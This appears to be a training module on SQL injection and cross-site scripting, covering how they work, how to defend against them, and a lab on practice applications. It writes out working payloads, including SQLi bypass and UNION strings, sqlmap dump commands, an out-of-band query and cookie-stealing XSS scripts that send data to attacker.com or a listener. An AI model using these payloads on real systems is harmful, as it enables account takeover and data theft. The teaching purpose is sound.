09. Web Exploitation: SQLi & XSS
Breaking the Browser
Web applications are the most exposed attack surface of any modern organization. Because they must be publicly accessible to function, they cannot be hidden behind a firewall. If a web application is poorly coded, an attacker can bypass authentication, steal user sessions, or dump the entire backend database—all from a browser, with no special tools, from anywhere in the world.
This module covers the two most notorious web vulnerabilities: SQL Injection (SQLi) and Cross-Site Scripting (XSS). Together they appear in the OWASP Top 10 every year and are responsible for some of the most damaging breaches in history. Understanding them at a deep technical level is essential for both attacking and defending web applications.
🌐 How Web Applications Work: The Foundation
Before attacking web applications, you must understand their architecture. A typical web application has three tiers:
- Frontend (Client-side): HTML, CSS, and JavaScript running in the user's browser. Everything here is visible to the user and controllable by an attacker—never trust client-side validation.
- Backend (Server-side): Application logic running in a language like PHP, Python, Node.js, Java, or Ruby. Receives requests from the browser, processes business logic, and queries the database.
- Database: Stores persistent data—user accounts, passwords (hashed), content, financial records. Usually MySQL, PostgreSQL, MSSQL, Oracle, or MongoDB.
The fundamental rule of web security: Never trust user input. Every piece of data coming from a browser is attacker-controlled. The user can modify URLs, headers, cookies, POST bodies, and even the referrer field. Any of these can be weaponized if the application processes them without proper validation and sanitization.
💉 SQL Injection (SQLi) — Attacking the Database
SQL Injection is the single most damaging web vulnerability class in history. It occurs when user-controlled input is directly concatenated into a SQL query without sanitization. The attacker can break out of the intended query context and inject their own SQL commands—which the database executes with full trust.
The Anatomy of a SQL Injection
Imagine a login form with a PHP backend like this:
$query = "SELECT * FROM users WHERE username = '$_POST[user]' AND password = '$_POST[pass]'";
This query concatenates user input directly. If a user enters username admin and password password, the query is benign:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
But if the attacker enters admin'-- as the username:
SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'anything'
The ' closes the username string. The -- is a SQL comment—everything after it is ignored, including the password check. The query returns the admin's record and logs the attacker in with no password required.
More powerful: ' OR '1'='1 as username makes the condition always true, returning every user record.
Types of SQL Injection:
- In-Band SQLi (Error-Based): The attacker intentionally causes SQL syntax errors. The database returns an error message containing table names, column names, or database version information. Example: entering
'alone causes "You have an error in your SQL syntax... near '' at line 1" — confirming SQLi exists and revealing the database type. - In-Band SQLi (UNION-Based): The attacker uses the SQL UNION operator to append the results of an entirely separate SELECT statement to the original query. This allows extracting data from any table in the database. Example:
' UNION SELECT username, password FROM users--appends the entire users table to the original response. - Blind SQLi (Boolean-Based): The database doesn't return data to the screen. The attacker asks true/false questions and infers data character by character. Example:
' AND SUBSTRING(username,1,1)='a'--. If the page loads normally, the first character is 'a'. This can extract any data but requires thousands of requests. - Blind SQLi (Time-Based): The database doesn't return visible differences. The attacker makes the database pause for a specific number of seconds to confirm a true/false condition. Example (MySQL):
' AND IF(1=1, SLEEP(5), 0)--. If the page takes 5 seconds to respond, the condition is true. - Out-of-Band SQLi: Uses alternative channels (DNS lookups, HTTP requests) to exfiltrate data. Example (Oracle):
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||password) FROM users--causes the database server to make HTTP requests to the attacker's server, leaking data in the URL.
SQLi Beyond Authentication Bypass — The Full Impact:
- Full database dump: Extract every table, every record, including hashed passwords for offline cracking.
- Operating system command execution: MySQL's
LOAD_FILE()andINTO OUTFILEcan read and write files. MSSQL'sxp_cmdshellexecutes OS commands directly. A SQLi in the right database can become full server compromise. - Authentication bypass: Log in as any user including administrators without knowing their passwords.
- Bypassing authorization: Access other users' data by manipulating ID parameters: changing
/api/orders?user_id=123touser_id=1(Insecure Direct Object Reference).
Automated SQLi Testing with SQLMap:
SQLMap is an open-source tool that automatically detects and exploits SQL injection vulnerabilities:
sqlmap -u "https://target.com/login.php?id=1" --dbs— Test the URL parameter and enumerate all databases if vulnerablesqlmap -u "https://target.com/page?id=1" -D targetdb --tables— List tables in a specific databasesqlmap -u "https://target.com/page?id=1" -D targetdb -T users --dump— Dump the entire users tablesqlmap -r request.txt --level=5 --risk=3— Test a saved HTTP request at maximum thoroughness
SQLMap can test GET and POST parameters, cookies, headers, and JSON/XML bodies. Always get authorization before running it—it generates significant traffic and can disrupt applications.
The Absolute Fix — Parameterized Queries:
SQL Injection is 100% preventable with proper parameterized queries (prepared statements). The key is separating SQL code from data—user input is passed as a data parameter, never concatenated into the query string:
// Vulnerable — NEVER do this $query = "SELECT * FROM users WHERE username = '$user'"; // Secure — Parameterized query (PHP PDO) $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$user]);
With parameterized queries, if an attacker enters admin'--, the database treats the entire string admin'-- as a literal username to search for—the quote marks are not interpreted as SQL syntax. The injection attempt fails completely.
📜 Cross-Site Scripting (XSS) — Attacking the Browser
While SQL Injection attacks the server's database, XSS attacks the client's browser. XSS occurs when untrusted user input is included in a web page response without proper encoding. The attacker's malicious JavaScript executes in the victim's browser—with the same privileges as the legitimate site's JavaScript, including full access to cookies, DOM content, and the ability to make requests as the user.
The Three Types of XSS
Stored (Persistent) XSS — The Most Dangerous:
The attacker's payload is saved on the server (in a database, comment field, profile name, or message board) and served to every user who visits the affected page. It's a trap that springs on anyone who visits. Example: An attacker posts a comment containing <script>document.location='https://attacker.com/steal?c='+document.cookie</script> on a forum. Every subsequent visitor to that page executes the script, sending their session cookie to the attacker.
Reflected (Non-Persistent) XSS:
The payload is embedded in a URL parameter and reflected back in the immediate response—the server echoes the attacker's input directly into the page. Example: A search page returns "You searched for: [search term]" without encoding. If the attacker crafts the URL https://target.com/search?q=<script>alert(document.cookie)</script> and sends it to a victim (via phishing), their browser executes the script. The attacker must trick the victim into clicking the malicious URL.
DOM-Based XSS:
The vulnerability exists entirely in client-side JavaScript. The server's response is benign, but the page's own JavaScript reads attacker-controlled data (from the URL hash, a POST message, or localStorage) and writes it into the DOM without sanitization. Example: document.getElementById('content').innerHTML = location.hash.slice(1). Navigate to page.html#<img src=x onerror=alert(1)> and the HTML is injected. No server-side vulnerability exists—the flaw is entirely in the client-side code.
What XSS Can Actually Do:
- Session Hijacking:
document.cookiegives access to all non-HttpOnly cookies, including session tokens. Stolen and sent to the attacker: they log in as the victim without ever needing a password. - Credential Harvesting: Inject a fake login form overlay on the page. When the victim enters credentials thinking they're logging in, the form sends them to the attacker.
- Keylogging:
document.addEventListener('keypress', function(e){...})captures every keystroke the victim makes on that page. - Defacement: Modify the page's content entirely—replacing banking site content with scam pages.
- Browser Exploitation Framework (BeEF): Hook victim browsers into a botnet that can perform hundreds of browser-level attacks, scan the internal network through the browser, and chain into more severe exploitation.
- Cross-Site Request Forgery (CSRF) via XSS: Make authenticated requests on behalf of the victim—transferring money, changing account email, or deleting data—all silently in the background.
XSS Defense — The Complete Strategy:
- Output Encoding: The primary defense. Every piece of user-supplied data rendered in HTML must be encoded—convert
<to<,>to>,"to". In a JavaScript context, use JavaScript encoding. In a URL context, use URL encoding. The context determines the correct encoding. - Content Security Policy (CSP): An HTTP response header that tells the browser which sources of script are trusted:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com. Even if an attacker injects a script tag, the browser refuses to execute scripts from untrusted sources. A well-configured CSP is the most powerful XSS mitigation available. - HttpOnly Cookie Flag: Setting
Set-Cookie: session=abc123; HttpOnlyprevents JavaScript from accessing the cookie at all. Even if XSS is exploited,document.cookiedoes not return the session token—breaking the session hijacking attack chain. - Input Validation: Reject input that doesn't match expected patterns. A phone number field should only accept digits and dashes—rejecting script injection at the input stage.
- Modern Frameworks: React, Angular, and Vue.js automatically encode output when rendering data through their templating systems. Using dangerouslySetInnerHTML in React or innerHTML directly in JavaScript bypasses these protections and reintroduces XSS risk.
🧰 Web App Testing with Burp Suite
Burp Suite is the industry-standard web application security testing platform. The Community Edition is free and sufficient for most testing:
- Proxy (Intercept): All browser traffic routes through Burp. You can inspect, modify, and replay every HTTP request before it reaches the server. This is how you test parameters for SQLi and XSS—intercept the request, modify the parameter value, forward it.
- Repeater: Send a captured request to Repeater to manually modify and resend it as many times as needed. Essential for testing injection payloads iteratively.
- Intruder: Automate attacks against positions in a request—fuzzing parameters, brute-forcing login forms, and testing thousands of payloads automatically.
- Scanner (Pro only): Automated vulnerability scanning that detects SQLi, XSS, CSRF, SSRF, XXE, and dozens of other vulnerability classes.
- Decoder: Encode/decode Base64, URL encoding, HTML entities, hex, and other formats. Useful for manipulating encoded values in tokens and parameters.
🧪 Lab Mission: SQLi and XSS Exploitation
Use a deliberately vulnerable practice application (DVWA, WebGoat, HackTheBox, or TryHackMe web challenges) and complete each task:
SQLi Tasks:
- Find the login form and test for SQLi by entering
'alone as a username. Does the application return a SQL error? - Attempt authentication bypass with
admin'--as the username and any password. - Find a search or product listing parameter and test UNION-based injection:
' ORDER BY 3--(increment the number until you get an error to find the column count). - Use sqlmap against the vulnerable parameter:
sqlmap -u "http://target/page?id=1" --dbs. Enumerate and dump the user table.
XSS Tasks:
- Find a search field that reflects input back to the page. Enter
<b>bold</b>. Does the page render it as bold text or as the literal string? If rendered, XSS is likely possible. - Test a basic payload:
<script>alert('XSS')</script>. Does an alert box appear? - If the script tag is filtered, try evasion techniques:
<img src=x onerror=alert(1)>or<svg/onload=alert(1)> - Find a comment or profile field and submit a stored XSS payload. Navigate to the page as a different user—does the payload execute?
- Steal a cookie:
<script>document.location='http://[your-listener]/?c='+document.cookie</script>. Set up a netcat listener and observe the stolen cookie.
✅ Module 09 Summary
- Never trust user input. All user-supplied data is attacker-controlled and must be treated as hostile.
- SQL Injection occurs when user input is concatenated into SQL queries. Fix with parameterized queries—never string concatenation.
- XSS occurs when user input is reflected in HTML output without encoding. Fix with output encoding, HttpOnly cookies, and a strong Content Security Policy.
- The three XSS types: Stored (most dangerous, injected payload persists on server), Reflected (payload in URL, requires victim to click), DOM-based (client-side JavaScript flaw).
- Burp Suite is the professional tool for web application testing. Master the Proxy, Repeater, and Intruder modules.
Knowledge Check
Ready to test your understanding of 09. Web Exploitation: SQLi & XSS?